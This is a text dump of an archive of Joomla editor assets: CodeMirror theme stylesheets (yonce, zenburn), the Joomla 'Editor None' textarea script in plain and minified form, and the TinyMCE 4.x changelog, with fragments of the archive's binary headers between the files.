.cm-s-yeti span.cm-property { color: #a074c4; }
.cm-s-yeti span.cm-builtin { color: #a074c4; }
.cm-s-yeti span.cm-variable-3, .cm-s-yeti span.cm-type { color: #96c0d8; }
.cm-s-yeti .CodeMirror-activeline-background { background: #E7E4E0; }
.cm-s-yeti .CodeMirror-matchingbracket { text-decoration: underline; }
PKR��[�e��codemirror/theme/yonce.cssnu�[���/*

    Name:       yoncé
    Author:     Thomas MacLean (http://github.com/thomasmaclean)

    Original yoncé color scheme by Mina Markham
(https://github.com/minamarkham)

*/

.cm-s-yonce.CodeMirror { background: #1C1C1C; color: #d4d4d4; } /**/
.cm-s-yonce div.CodeMirror-selected { background: rgba(252, 69, 133,
0.478); } /**/
.cm-s-yonce .CodeMirror-selectedtext,
.cm-s-yonce .CodeMirror-selected,
.cm-s-yonce .CodeMirror-line::selection,
.cm-s-yonce .CodeMirror-line > span::selection,
.cm-s-yonce .CodeMirror-line > span > span::selection,
.cm-s-yonce .CodeMirror-line::-moz-selection,
.cm-s-yonce .CodeMirror-line > span::-moz-selection,
.cm-s-yonce .CodeMirror-line > span > span::-moz-selection {
background: rgba(252, 67, 132, 0.47); }

.cm-s-yonce.CodeMirror pre { padding-left: 0px; }
.cm-s-yonce .CodeMirror-gutters {background: #1C1C1C; border-right: 0px;}
.cm-s-yonce .CodeMirror-linenumber {color: #777777;  padding-right: 10px; }
.cm-s-yonce .CodeMirror-activeline
.CodeMirror-linenumber.CodeMirror-gutter-elt { background: #1C1C1C; color:
#fc4384; }
.cm-s-yonce .CodeMirror-linenumber { color: #777; }
.cm-s-yonce .CodeMirror-cursor { border-left: 2px solid #FC4384; }
.cm-s-yonce .cm-searching { background: rgba(243, 155, 53, .3) !important;
outline: 1px solid #F39B35; }
.cm-s-yonce .cm-searching.CodeMirror-selectedtext { background: rgba(243,
155, 53, .7) !important; color: white; }

.cm-s-yonce .cm-keyword { color: #00A7AA; } /**/
.cm-s-yonce .cm-atom { color: #F39B35; }
.cm-s-yonce .cm-number, .cm-s-yonce span.cm-type { color:  #A06FCA; } /**/
.cm-s-yonce .cm-def { color: #98E342; }
.cm-s-yonce .cm-property,
.cm-s-yonce span.cm-variable { color: #D4D4D4; font-style: italic; }
.cm-s-yonce span.cm-variable-2 { color: #da7dae; font-style: italic; }
.cm-s-yonce span.cm-variable-3 { color: #A06FCA; }
.cm-s-yonce .cm-type.cm-def { color: #FC4384; font-style: normal;
text-decoration: underline; }
.cm-s-yonce .cm-property.cm-def { color: #FC4384; font-style: normal; }
.cm-s-yonce .cm-callee { color: #FC4384; font-style: normal; }
.cm-s-yonce .cm-operator { color: #FC4384; } /**/
.cm-s-yonce .cm-qualifier,
.cm-s-yonce .cm-tag { color: #FC4384; }
.cm-s-yonce .cm-tag.cm-bracket { color: #D4D4D4; }
.cm-s-yonce .cm-attribute { color: #A06FCA; }
.cm-s-yonce .cm-comment { color:#696d70; font-style:italic;
font-weight:normal; } /**/
.cm-s-yonce .cm-comment.cm-tag { color: #FC4384 }
.cm-s-yonce .cm-comment.cm-attribute { color: #D4D4D4; }
.cm-s-yonce .cm-string { color:#E6DB74; } /**/
.cm-s-yonce .cm-string-2 { color:#F39B35; } /*?*/
.cm-s-yonce .cm-meta { color: #D4D4D4; background: inherit; }
.cm-s-yonce .cm-builtin { color: #FC4384; } /*?*/
.cm-s-yonce .cm-header { color: #da7dae; }
.cm-s-yonce .cm-hr { color: #98E342; }
.cm-s-yonce .cm-link { color:#696d70; font-style:italic;
text-decoration:none; } /**/
.cm-s-yonce .cm-error { border-bottom: 1px solid #C42412; }

.cm-s-yonce .CodeMirror-activeline-background { background: #272727; }
.cm-s-yonce .CodeMirror-matchingbracket { outline:1px solid grey;
color:#D4D4D4 !important; }
PKR��[�i���codemirror/theme/zenburn.cssnu�[���/**
 * "
 *  Using Zenburn color palette from the Emacs Zenburn Theme
 *  https://github.com/bbatsov/zenburn-emacs/blob/master/zenburn-theme.el
 *
 *  Also using parts of https://github.com/xavi/coderay-lighttable-theme
 * "
 * From:
https://github.com/wisenomad/zenburn-lighttable-theme/blob/master/zenburn.css
 */

.cm-s-zenburn .CodeMirror-gutters { background: #3f3f3f !important; }
.cm-s-zenburn .CodeMirror-foldgutter-open, .CodeMirror-foldgutter-folded {
color: #999; }
.cm-s-zenburn .CodeMirror-cursor { border-left: 1px solid white; }
.cm-s-zenburn.CodeMirror { background-color: #3f3f3f; color: #dcdccc; }
.cm-s-zenburn span.cm-builtin { color: #dcdccc; font-weight: bold; }
.cm-s-zenburn span.cm-comment { color: #7f9f7f; }
.cm-s-zenburn span.cm-keyword { color: #f0dfaf; font-weight: bold; }
.cm-s-zenburn span.cm-atom { color: #bfebbf; }
.cm-s-zenburn span.cm-def { color: #dcdccc; }
.cm-s-zenburn span.cm-variable { color: #dfaf8f; }
.cm-s-zenburn span.cm-variable-2 { color: #dcdccc; }
.cm-s-zenburn span.cm-string { color: #cc9393; }
.cm-s-zenburn span.cm-string-2 { color: #cc9393; }
.cm-s-zenburn span.cm-number { color: #dcdccc; }
.cm-s-zenburn span.cm-tag { color: #93e0e3; }
.cm-s-zenburn span.cm-property { color: #dfaf8f; }
.cm-s-zenburn span.cm-attribute { color: #dfaf8f; }
.cm-s-zenburn span.cm-qualifier { color: #7cb8bb; }
.cm-s-zenburn span.cm-meta { color: #f0dfaf; }
.cm-s-zenburn span.cm-header { color: #f0efd0; }
.cm-s-zenburn span.cm-operator { color: #f0efd0; }
.cm-s-zenburn span.CodeMirror-matchingbracket { box-sizing: border-box;
background: transparent; border-bottom: 1px solid; }
.cm-s-zenburn span.CodeMirror-nonmatchingbracket { border-bottom: 1px
solid; background: none; }
.cm-s-zenburn .CodeMirror-activeline { background: #000000; }
.cm-s-zenburn .CodeMirror-activeline-background { background: #000000; }
.cm-s-zenburn div.CodeMirror-selected { background: #545454; }
.cm-s-zenburn .CodeMirror-focused div.CodeMirror-selected { background:
#4f4f4f; }
PKR��[�#���none/js/none.jsnu�[���/**
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

/**
 * Editor None
 */
;(function(Joomla, window, document){

	function insertAtCursor(myField, myValue) {
		if (document.selection) {
			// IE support
			myField.focus();
			var sel = document.selection.createRange();
			sel.text = myValue;
		} else if (myField.selectionStart || myField.selectionStart === 0) {
			// MOZILLA/NETSCAPE support
			myField.value = myField.value.substring(0, myField.selectionStart)
				+ myValue
				+ myField.value.substring(myField.selectionEnd, myField.value.length);
		} else {
			myField.value += myValue;
		}
	}

	function getSelection(myField) {
		if (document.selection) {
			// IE support
			myField.focus();
			return document.selection.createRange();
		} else if (myField.selectionStart || myField.selectionStart === 0) {
			// MOZILLA/NETSCAPE support
			return myField.value.substring(myField.selectionStart,
myField.selectionEnd);
		} else {
			return myField.value;
		}
	}

	// @deprecated 4.0 Use directly
Joomla.editors.instances[editor].replaceSelection(text);
	window.jInsertEditorText = function(text, editor) {
		Joomla.editors.instances[editor].replaceSelection(text);
	};

	document.addEventListener('DOMContentLoaded', function() {
		var editors = document.querySelectorAll('.js-editor-none');

		for(var i = 0, l = editors.length; i < l; i++) {
			/** Register Editor */
			Joomla.editors.instances[editors[i].childNodes[0].id] = {
				'id': editors[i].childNodes[0].id,
				'element':  editors[i].childNodes[0],
				'getValue': function () { return this.element.value; },
				'setValue': function (text) { return this.element.value =
text; },
				'getSelection': function () { return
getSelection(this.element); },
				'replaceSelection': function (text) { return
insertAtCursor(this.element, text); },
				'onSave': function() { return ''; }
			};
		}
	});
}(Joomla, window, document));
PKR��[��J���none/js/none.min.jsnu�[���!function(i,e,o){e.jInsertEditorText=function(e,t){i.editors.instances[t].replaceSelection(e)},o.addEventListener("DOMContentLoaded",function(){for(var
e=o.querySelectorAll(".js-editor-none"),t=0,n=e.length;t<n;t++)i.editors.instances[e[t].childNodes[0].id]={id:e[t].childNodes[0].id,element:e[t].childNodes[0],getValue:function(){return
this.element.value},setValue:function(e){return
this.element.value=e},getSelection:function(){return
e=this.element,o.selection?(e.focus(),o.selection.createRange()):e.selectionStart||0===e.selectionStart?e.value.substring(e.selectionStart,e.selectionEnd):e.value;var
e},replaceSelection:function(e){return
t=this.element,n=e,void(o.selection?(t.focus(),o.selection.createRange().text=n):t.selectionStart||0===t.selectionStart?t.value=t.value.substring(0,t.selectionStart)+n+t.value.substring(t.selectionEnd,t.value.length):t.value+=n);var
t,n},onSave:function(){return""}}})}(Joomla,window,document);
PKR��[�d�b����tinymce/changelog.txtnu�[���Version
4.5.12 (2020-07-03)
  Fixed so links with xlink:href attributes are filtered correctly to
prevent XSS. #TINY-1626
  Fixed the `selection.setContent()` API not running parser filters
#TINY-4002
  Fixed the `visualchars` plugin converting HTML-like text to DOM elements
in certain cases #TINY-4507
  Fixed HTML comments incorrectly being parsed in certain cases #TINY-4511
  Fixed a security issue related to CDATA sanitization during parsing
#TINY-4669
  Fixed content in an iframe element parsing as dom elements instead of
text content #TINY-5943
Version 4.5.11 (2019-05-16)
  Fixed bug where the editor would scroll to the top of the editable area
if a dialog was closed in inline mode. #TINY-1073
Version 4.5.10 (2018-10-19)
  Changed the contextual toolbar shortcut to Ctrl+F9 since an Edge shortcut
interfered with the previous one.
Version 4.5.9 (2018-08-02)
  Fixed a bug where Edge 17 wouldn't be able to select images or
tables.
Version 4.5.8 (2017-10-05)
	Fixed bug where paste on Edge wouldn't paste UTF characters since
Microsoft didn't implement the html5 clipboard api correctly.
	Fixed bug where it was hard to focus the editor on IE 10 since the body
element didn't have full height.
	Fixed bug where malformed blob urls wouldn't be handled correctly by
the editor.
Version 4.5.7 (2017-04-25)
	Fixed bug with selection around inline contenteditable false would get
collapsed incorrectly.
	Fixed bug where pasting on Microsoft Edge 40+ would produce clipboard
fragment headers.
Version 4.5.6 (2017-03-30)
	Fixed bug where it wasn't possible to select floated images in some
cases.
Version 4.5.5 (2017-03-07)
	Fixed text formatting bug with fontsize could not be changed after
changing the text color.
Version 4.5.4 (2017-02-23)
	Fixed bug where setBaseAndExtend would throw exceptions on Chrome 58 when
selecting images.
	Fixed bug where deleting partially selected contents could remove all
contents in some edge cases on WebKit.
Version 4.5.3 (2017-02-01)
	Added keyboard navigation for menu buttons when the menu is in focus.
	Added api to the list plugin for setting custom classes/attributes on
lists.
	Added validation for the anchor plugin input field according to W3C id
naming specifications.
	Fixed bug where media placeholders were removed after resize with the
forced_root_block setting set to false.
	Fixed bug where deleting selections with similar sibling nodes sometimes
deleted the whole document.
	Fixed bug with inlite theme where several toolbars would appear scrolling
when more than one instance of the editor was in use.
	Fixed bug where the editor would throw error with the fontselect plugin on
hidden editor instances in Firefox.
	Fixed bug where the background color would not stretch to the font size.
	Fixed bug where font size would be removed when changing background color.
	Fixed bug where the undomanager trimmed away whitespace between nodes on
undo/redo.
	Fixed bug where media_dimensions=false in media plugin caused the editor
to throw an error.
	Fixed bug where IE was producing font/u elements within links on paste.
	Fixed bug where some button tooltips were broken when compat3x was in use.
	Fixed bug where backspace/delete/typeover would remove the caption
element.
	Fixed bug where powerspell failed to function when compat3x was enabled.
	Fixed bug where it wasn't possible to apply sub/sup on text with
large font size.
	Fixed bug where pre tags with spaces weren't treated as content.
	Fixed bug where Meta+A would select the entire document instead of all
contents in nested ce=true elements.
Version 4.5.2 (2017-01-04)
	Added missing keyboard shortcut description for the underline menu item in
the format menu.
	Fixed bug where external blob urls wasn't properly handled by editor
upload logic. Patch contributed by David Oviedo.
	Fixed bug where urls wasn't treated as a single word by the wordcount
plugin.
	Fixed bug where nbsp characters wasn't treated as word delimiters by
the wordcount plugin.
	Fixed bug where editor instance wasn't properly passed to the format
preview logic. Patch contributed by NullQuery.
	Fixed bug where the fake caret wasn't hidden when you moved selection
to a cE=false element.
	Fixed bug where it wasn't possible to edit existing code sample
blocks.
	Fixed bug where it wasn't possible to delete editor contents if the
selection included an empty block.
	Fixed bug where the formatter wasn't expanding words on some
international characters. Patch contributed by Martin Larochelle.
	Fixed bug where the open link feature wasn't working correctly on IE
11.
	Fixed bug where enter before/after a cE=false block wouldn't properly
padd the paragraph with an br element.
	Fixed so font size and font family select boxes always displays a value by
using the runtime style as a fallback.
	Fixed so missing plugins will be logged to console as warnings rather than
halting the initialization of the editor.
	Fixed so splitbuttons become normal buttons in advlist plugin if styles
are empty. Patch contributed by René Schleusner.
	Fixed so you can multi insert rows/cols by selecting table cells and using
insert rows/columns.
Version 4.5.1 (2016-12-07)
	Fixed bug where the lists plugin wouldn't initialize without the
advlist plugins if served from cdn.
	Fixed bug where selectors with "*" would cause the style format
preview to throw an error.
	Fixed bug with toggling lists off on lists with empty list items would
throw an error.
	Fixed bug where editing images would produce non existing blob uris.
	Fixed bug where the offscreen toc selection would be treated as the real
toc element.
	Fixed bug where the aria level attribute for element path would have an
incorrect start index.
	Fixed bug where the offscreen selection of cE=false that where very wide
would be shown onscreen. Patch contributed by Steven Bufton.
	Fixed so the default_link_target gets applied to links created by the
autolink plugin.
	Fixed so that the name attribute gets removed by the anchor plugin if
editing anchors.
Version 4.5.0 (2016-11-23)
	Added new toc plugin allows you to insert table of contents based on
editor headings.
	Added new auto complete menu to all url fields. Adds history, link to
anchors etc.
	Added new sidebar api that allows you to add custom sidebar panels and
buttons to toggle these.
	Added new insert menu button that allows you to have multiple insert
functions under the same menu button.
	Added new open link feature to ctrl+click, alt+enter and context menu.
	Added new media_embed_handler option to allow the media plugin to be
populated with custom embeds.
	Added new support for editing transparent images using the image tools
dialog.
	Added new images_reuse_filename option to allow filenames of images to be
retained for upload.
	Added new security feature where links with target="_blank" will
by default get rel="noopener noreferrer".
	Added new allow_unsafe_link_target to allow you to opt-out of the
target="_blank" security feature.
	Added new style_formats_autohide option to automatically hide styles based
on context.
	Added new codesample_content_css option to specify where the code sample
prism css is loaded from.
	Added new support for Japanese/Chinese word count following the unicode
standards on this.
	Added new fragmented undo levels this dramatically reduces flicker on
contents with iframes.
	Added new live previews for complex elements like table or lists.
	Fixed bug where it wasn't possible to properly tab between controls
in a dialog with a disabled form item control.
	Fixed bug where firefox would generate a rectangle on elements produced
after/before a cE=false elements.
	Fixed bug with advlist plugin not switching list element format properly
in some edge cases.
	Fixed bug where col/rowspans wasn't correctly computed by the table
plugin in some cases.
	Fixed bug where the table plugin would thrown an error if object_resizing
was disabled.
	Fixed bug where some invalid markup would cause issues when running in
XHTML mode. Patch contributed by Charles Bourasseau.
	Fixed bug where the fullscreen class wouldn't be removed properly
when closing dialogs.
	Fixed bug where the PastePlainTextToggle event wasn't fired by the
paste plugin when the state changed.
	Fixed bug where table the row type wasn't properly updated in table
row dialog. Patch contributed by Matthias Balmer.
	Fixed bug where select all and cut wouldn't place caret focus back to
the editor in WebKit. Patch contributed by Daniel Jalkut.
	Fixed bug where applying cell/row properties to multiple cells/rows would
reset other unchanged properties.
	Fixed bug where some elements in the schema would have redundant/incorrect
children.
	Fixed bug where selector and target options would cause issues if used
together.
	Fixed bug where drag/drop of images from desktop on chrome would thrown an
error.
	Fixed bug where cut on WebKit/Blink wouldn't add an undo level.
	Fixed bug where IE 11 would scroll to the cE=false elements when they
where selected.
	Fixed bug where keys like F5 wouldn't work when a cE=false element
was selected.
	Fixed bug where the undo manager wouldn't stop the typing state when
commands where executed.
	Fixed bug where unlink on wrapped links wouldn't work properly.
	Fixed bug with drag/drop of images on WebKit where the image would be
deleted form the source editor.
	Fixed bug where the visual characters mode would be disabled when contents
was extracted from the editor.
	Fixed bug where some browsers would toggle of formats applied to the caret
when clicking in the editor toolbar.
	Fixed bug where the custom theme function wasn't working correctly.
	Fixed bug where image option for custom buttons required you to have icon
specified as well.
	Fixed bug where the context menu and contextual toolbars would be visible
at the same time and sometimes overlapping.
	Fixed bug where the noneditable plugin would double wrap elements when
using the noneditable_regexp option.
	Fixed bug where tables would get padding instead of margin when you used
the indent button.
	Fixed bug where the charmap plugin wouldn't properly insert non
breaking spaces.
	Fixed bug where the color previews in color input boxes wasn't
properly updated.
	Fixed bug where the list items of previous lists wasn't merged in the
right order.
	Fixed bug where it wasn't possible to drag/drop inline-block cE=false
elements on IE 11.
	Fixed bug where some table cell merges would produce incorrect
rowspan/colspan.
	Fixed so the font size of the editor defaults to 14px instead of 11px this
can be overridden by custom css.
	Fixed so wordcount is debounced to reduce cpu hogging on larger texts.
	Fixed so tinymce global gets properly exported as a module when used with
some module bundlers.
	Fixed so it's possible to specify what css properties you want to
preview on specific formats.
	Fixed so anchors are contentEditable=false while within the editor.
	Fixed so selected contents gets wrapped in a inline code element by the
codesample plugin.
	Fixed so conditional comments gets properly stripped independent of case.
Patch contributed by Georgii Dolzhykov.
	Fixed so some escaped css sequences gets properly handled. Patch
contributed by Georgii Dolzhykov.
	Fixed so notifications with the same message doesn't get displayed at
the same time.
	Fixed so F10 can be used as an alternative key to focus to the toolbar.
	Fixed various api documentation issues and typos.
	Removed layer plugin since it wasn't really ported from 3.x and there
doesn't seem to be much use for it.
	Removed moxieplayer.swf from the media plugin since it wasn't used by
the media plugin.
	Removed format state from the advlist plugin to be more consistent with
common word processors.
Version 4.4.3 (2016-09-01)
	Fixed bug where copy would produce an exception on Chrome.
	Fixed bug where deleting lists on IE 11 would merge in correct text nodes.
	Fixed bug where deleting partial lists with indentation wouldn't
cause proper normalization.
Version 4.4.2 (2016-08-25)
	Added new importcss_exclusive option to disable unique selectors per
group.
	Added new group specific selector_converter option to importcss plugin.
	Added new codesample_languages option to apply custom languages to
codesample plugin.
	Added new codesample_dialog_width/codesample_dialog_height options.
	Fixed bug where fullscreen button had an incorrect keyboard shortcut.
	Fixed bug where backspace/delete wouldn't work correctly from a block
to a cE=false element.
	Fixed bug where smartpaste wasn't detecting links with special
characters in them like tilde.
	Fixed bug where the editor wouldn't get proper focus if you clicked
on a cE=false element.
	Fixed bug where it wasn't possible to copy/paste table rows that had
merged cells.
	Fixed bug where merging cells could some times produce invalid col/rowspan
attibute values.
	Fixed bug where getBody would sometimes thrown an exception now it just
returns null if the iframe is clobbered.
	Fixed bug where drag/drop of cE=false element wasn't properly
constrained to viewport.
	Fixed bug where contextmenu on Mac would collapse any selection to a
caret.
	Fixed bug where rtl mode wasn't rendered properly when loading a
language pack with the rtl flag.
	Fixed bug where Kamer word bounderies would be stripped from contents.
	Fixed bug where lists would sometimes render two dots or numbers on the
same line.
	Fixed bug where the skin_url wasn't used by the inlite theme.
	Fixed so data attributes are ignored when comparing formats in the
formatter.
	Fixed so it's possible to disable inline toolbars in the inlite
theme.
	Fixed so template dialog gets resized if it doesn't fit the window
viewport.
Version 4.4.1 (2016-07-26)
	Added smart_paste option to paste plugin to allow disabling the paste
behavior if needed.
	Fixed bug where png urls wasn't properly detected by the smart paste
logic.
	Fixed bug where the element path wasn't working properly when
multiple editor instances where used.
	Fixed bug with creating lists out of multiple paragraphs would just create
one list item instead of multiple.
	Fixed bug where scroll position wasn't properly handled by the inlite
theme to place the toolbar properly.
	Fixed bug where multiple instances of the editor using the inlite theme
didn't render the toolbar properly.
	Fixed bug where the shortcut label for fullscreen mode didn't match
the actual shortcut key.
	Fixed bug where it wasn't possible to select cE=false blocks using
touch devices on for example iOS.
	Fixed bug where it was possible to select the child image within a
cE=false on IE 11.
	Fixed so inserts of html containing lists doesn't merge with any
existing lists unless it's a paste operation.
Version 4.4.0 (2016-06-30)
	Added new inlite theme this is a more lightweight inline UI.
	Added smarter paste logic that auto detects urls in the clipboard and
inserts images/links based on that.
	Added a better image resize algorithm for better image quality in the
imagetools plugin.
	Fixed bug where it wasn't possible to drag/dropping cE=false elements
on FF.
	Fixed bug where backspace/delete before/after a cE=false block would
produce a new paragraph.
	Fixed bug where list style type css property wasn't preserved when
indenting lists.
	Fixed bug where merging of lists where done even if the list style type
was different.
	Fixed bug where the image_dataimg_filter function wasn't used when
pasting images.
	Fixed bug where nested editable within a non editable element would cause
scroll on focus in Chrome.
	Fixed so invalid targets for inline mode is blocked on initialization. We
only support elements that can have children.
Version 4.3.13 (2016-06-08)
	Added characters with a diacritical mark to charmap plugin. Patch
contributed by Dominik Schilling.
	Added better error handling if the image proxy service would produce
errors.
	Fixed issue with pasting list items into list items would produce nested
list rather than a merged list.
	Fixed bug where table selection could get stuck in selection mode for
inline editors.
	Fixed bug where it was possible to place the caret inside the resize grid
elements.
	Fixed bug where it wasn't possible to place in elements horizontally
adjacent cE=false blocks.
	Fixed bug where multiple notifications wouldn't be properly placed on
screen.
	Fixed bug where multiple editor instance of the same id could be produces
in some specific integrations.
Version 4.3.12 (2016-05-10)
	Fixed bug where focus calls couldn't be made inside the editors
PostRender event handler.
	Fixed bug where some translations wouldn't work as expected due to a
bug in editor.translate.
	Fixed bug where the node change event could fire with a node out side the
root of the editor.
	Fixed bug where Chrome wouldn't properly present the keyboard paste
clipboard details when paste was clicked.
	Fixed bug where merged cells in tables couldn't be selected from
right to left.
	Fixed bug where insert row wouldn't properly update a merged cells
rowspan property.
	Fixed bug where the color input boxes preview field wasn't properly
set on initialization.
	Fixed bug where IME composition inside table cells wouldn't work as
expected on IE 11.
	Fixed so all shadow dom support is under and experimental flag due to
flaky browser support.
Version 4.3.11 (2016-04-25)
	Fixed bug where it wasn't possible to insert empty blocks though the
API unless they where padded.
	Fixed bug where you couldn't type the Euro character on Windows.
	Fixed bug where backspace/delete from a cE=false element to a text block
didn't work properly.
	Fixed bug where the text color default grid would render incorrectly.
	Fixed bug where the codesample plugin wouldn't load the css in the
editor for multiple editors.
	Fixed so the codesample plugin textarea gets focused by default.
Version 4.3.10 (2016-04-12)
	Fixed bug where the key "y" on WebKit couldn't be entered
due to conflict with keycode for F10 on keypress.
Version 4.3.9 (2016-04-12)
	Added support for focusing the contextual toolbars using keyboard.
	Added keyboard support for slider UI controls. You can no
increase/decrease using arrow keys.
	Added url pattern matching for Dailymotion to media plugin. Patch
contributed by Bertrand Darbon.
	Added body_class to template plugin preview. Patch contributed by Milen
Petrinski.
	Added options to better override textcolor pickers with custom colors.
Patch contributed by Xavier Boubert.
	Added visual arrows to inline contextual toolbars so that they point to
the element being active.
	Fixed so toolbars for tables or other larger elements get better
positioned below the scrollable viewport.
	Fixed bug where it was possible to click links inside cE=false blocks.
	Fixed bug where event targets wasn't properly handled in Safari
Technical Preview.
	Fixed bug where drag/drop text in FF 45 would make the editor caret
invisible.
	Fixed bug where the remove state wasn't properly set on editor
instances when detected as clobbered.
	Fixed bug where offscreen selection of some cE=false elements would render
onscreen. Patch contributed by Steven Bufton
	Fixed bug where enter would clone styles out side the root on editors
inside a span. Patch contributed by ChristophKaser.
	Fixed bug where drag/drop of images into the editor didn't work
correctly in FF.
	Fixed so the first item in panels for the imagetools dialog gets proper
keyboard focus.
	Changed the Meta+Shift+F shortcut to Ctrl+Shift+F since Czech, Slovak,
Polish languages used the first one for input.
Version 4.3.8 (2016-03-15)
	Fixed bug where inserting HR at the end of a block element would produce
an extra empty block.
	Fixed bug where links would be clickable when readonly mode was enabled.
	Fixed bug where the formatter would normalize to the wrong node on very
specific content.
	Fixed bug where some nested list items couldn't be indented properly.
	Fixed bug where links where clickable in the preview dialog.
	Fixed so the alt attribute doesn't get padded with an empty value by
default.
	Fixed so nested alignment works more correctly. You will now alter the
alignment to the closest block parent.
Version 4.3.7 (2016-03-02)
	Fixed bug where incorrect icons would be rendered for imagetools edit and
color levels.
	Fixed bug where navigation using arrow keys inside a SelectBox didn't
move up/down.
	Fixed bug where the visualblocks plugin would render borders round
internal UI elements.
Version 4.3.6 (2016-03-01)
	Added new paste_remember_plaintext_info option to allow a global disable
of the plain text mode notification.
	Added new PastePlainTextToggle event that fires when plain text mode
toggles on/off.
	Fixed bug where it wasn't possible to select media elements since the
drag logic would snap it to mouse cursor.
	Fixed bug where it was hard to place the caret inside nested cE=true
elements when the outer cE=false element was focused.
	Fixed bug where editors wouldn't properly initialize if both selector
and mode where used.
	Fixed bug where IME input inside table cells would switch the IME off.
	Fixed bug where selection inside the first table cell would cause the
whole table cell to get selected.
	Fixed bug where error handling of images being uploaded wouldn't
properly handle faulty statuses.
	Fixed bug where inserting contents before a HR would cause an exception to
be thrown.
	Fixed bug where copy/paste of Excel data would be inserted as an image.
	Fixed caret position issues with copy/paste of inline block cE=false
elements.
	Fixed issues with various menu item focus bugs in Chrome. Where the
focused menu bar item wasn't properly blurred.
	Fixed so the notifications have a solid background since it would be hard
to read if there where text under it.
	Fixed so notifications gets animated similar to the ones used by dialogs.
	Fixed so larger images that gets pasted is handled better.
	Fixed so the window close button is more uniform on various platform and
also increased it's hit area.
Version 4.3.5 (2016-02-11)
	Npm version bump due to package not being fully updated.
Version 4.3.4 (2016-02-11)
	Added new OpenWindow/CloseWindow events that gets fired when windows
open/close.
	Added new NewCell/NewRow events that gets fired when table cells/rows are
created.
	Added new Promise return value to tinymce.init makes it easier to handle
initialization.
	Removed the jQuery version the jQuery plugin is now moved into the main
package.
	Removed jscs from build process since eslint can now handle code style
checking.
	Fixed various bugs with drag/drop of contentEditable:false elements.
	Fixed bug where deleting of very specific nested list items would result
in an odd list.
	Fixed bug where lists would get merged with adjacent lists outside the
editable inline root.
	Fixed bug where MS Edge would crash when closing a dialog then clicking a
menu item.
	Fixed bug where table cell selection would add undo levels.
	Fixed bug where table cell selection wasn't removed when inline
editor where removed.
	Fixed bug where table cell selection wouldn't work properly on nested
tables.
	Fixed bug where table merge menu would be available when merging between
thead and tbody.
	Fixed bug where table row/column resize wouldn't get properly removed
when the editor was removed.
	Fixed bug where Chrome would scroll to the editor if there where a empty
hash value in document url.
	Fixed bug where the cache suffix wouldn't work correctly with the
importcss plugin.
	Fixed bug where selection wouldn't work properly on MS Edge on
Windows Phone 10.
	Fixed so adjacent pre blocks gets joined into one pre block since that
seems like the user intent.
	Fixed so events gets properly dispatched in shadow dom. Patch provided by
Nazar Mokrynskyi.
Version 4.3.3 (2016-01-14)
	Added new table_resize_bars configuration setting.  This setting allows
you to disable the table resize bars.
	Added new beforeInitialize event to tinymce.util.XHR lets you modify XHR
properties before open. Patch contributed by Brent Clintel.
	Added new autolink_pattern setting to autolink plugin. Enables you to
override the default autolink formats. Patch contributed by Ben Tiedt.
	Added new charmap option that lets you override the default charmap of the
charmap plugin.
	Added new charmap_append option that lets you add new characters to the
default charmap of the charmap plugin.
	Added new insertCustomChar event that gets fired when a character is
inserted by the charmap plugin.
	Fixed bug where table cells started with a superfluous &nbsp; in
IE10+.
	Fixed bug where table plugin would retain all BR tags when cells were
merged.
	Fixed bug where media plugin would strip underscores from youtube urls.
	Fixed bug where IME input would fail on IE 11 if you typed within a table.
	Fixed bug where double click selection of a word would remove the space
before the word on insert contents.
	Fixed bug where table plugin would produce exceptions when hovering tables
with invalid structure.
	Fixed bug where fullscreen wouldn't scroll back to it's original
position when untoggled.
	Fixed so the template plugins templates setting can be a function that
gets a callback that can provide templates.
Version 4.3.2 (2015-12-14)
	Fixed bug where the resize bars for table cells were not affected by the
object_resizing property.
	Fixed bug where the contextual table toolbar would appear incorrectly if
TinyMCE was initialized inline inside a table.
	Fixed bug where resizing table cells did not fire a node change event or
add an undo level.
	Fixed bug where double click selection of text on IE 11 wouldn't work
properly.
	Fixed bug where codesample plugin would incorrectly produce br elements
inside code elements.
	Fixed bug where media plugin would strip dashes from youtube urls.
	Fixed bug where it was possible to move the caret into the table resize
bars.
	Fixed bug where drag/drop into a cE=false element was possible on IE.
Version 4.3.1 (2015-11-30)
	Fixed so it's possible to disable the table inline toolbar by setting
it to false or an empty string.
	Fixed bug where it wasn't possible to resize some tables using the
drag handles.
	Fixed bug where unique id:s would clash for multiple editor instances and
cE=false selections.
	Fixed bug where the same plugin could be initialized multiple times.
	Fixed bug where the table inline toolbars would be displayed at the same
time as the image toolbars.
	Fixed bug where the table selection rect wouldn't be removed when
selecting another control element.
Version 4.3.0 (2015-11-23)
	Added new table column/row resize support. Makes it a lot more easy to
resize the columns/rows in a table.
	Added new table inline toolbar. Makes it easier to for example add new
rows or columns to a table.
	Added new notification API. Lets you display floating notifications to the
end user.
	Added new codesample plugin that lets you insert syntax highlighted pre
elements into the editor.
	Added new image_caption to images. Lets you create images with captions
using a HTML5 figure/figcaption elements.
	Added new live previews of embeded videos. Lets you play the video right
inside the editor.
	Added new setDirty method and "dirty" event to the editor. Makes
it easier to track the dirty state change.
	Added new setMode method to Editor instances that lets you dynamically
switch between design/readonly.
	Added new core support for contentEditable=false elements within the
editor overrides the browsers broken behavior.
	Rewrote the noneditable plugin to use the new contentEditable false core
logic.
	Fixed so the dirty state doesn't set set to false automatically when
the undo index is set to 0.
	Fixed the Selection.placeCaretAt so it works better on IE when the
coordinate is between paragraphs.
	Fixed bug where data-mce-bogus="all" element contents where
counted by the word count plugin.
	Fixed bug where contentEditable=false elements would be indented by the
indent buttons.
	Fixed bug where images within contentEditable=false would be selected in
WebKit on mouse click.
	Fixed bug in DOMUntils split method where the replacement parameter
wouldn't work on specific cases.
	Fixed bug where the importcss plugin would import classes from the skin
content css file.
	Fixed so all button variants have a wrapping span for it's text to
make it easier to skin.
	Fixed so it's easier to exit pre block using the arrow keys.
	Fixed bug where listboxes with fix widths didn't render correctly.
Version 4.2.8 (2015-11-13)
	Fixed bug where it was possible to delete tables as the inline root
element if all columns where selected.
	Fixed bug where the UI buttons active state wasn't properly updated
due to recent refactoring of that logic.
Version 4.2.7 (2015-10-27)
	Fixed bug where backspace/delete would remove all formats on the last
paragraph character in WebKit/Blink.
	Fixed bug where backspace within a inline format element with a bogus
caret container would move the caret.
	Fixed bug where backspace/delete on selected table cells wouldn't add
an undo level.
	Fixed bug where script tags embedded within the editor could sometimes get
a mce- prefix prepended to them
	Fixed bug where validate: false option could produce an error to be thrown
from the Serialization step.
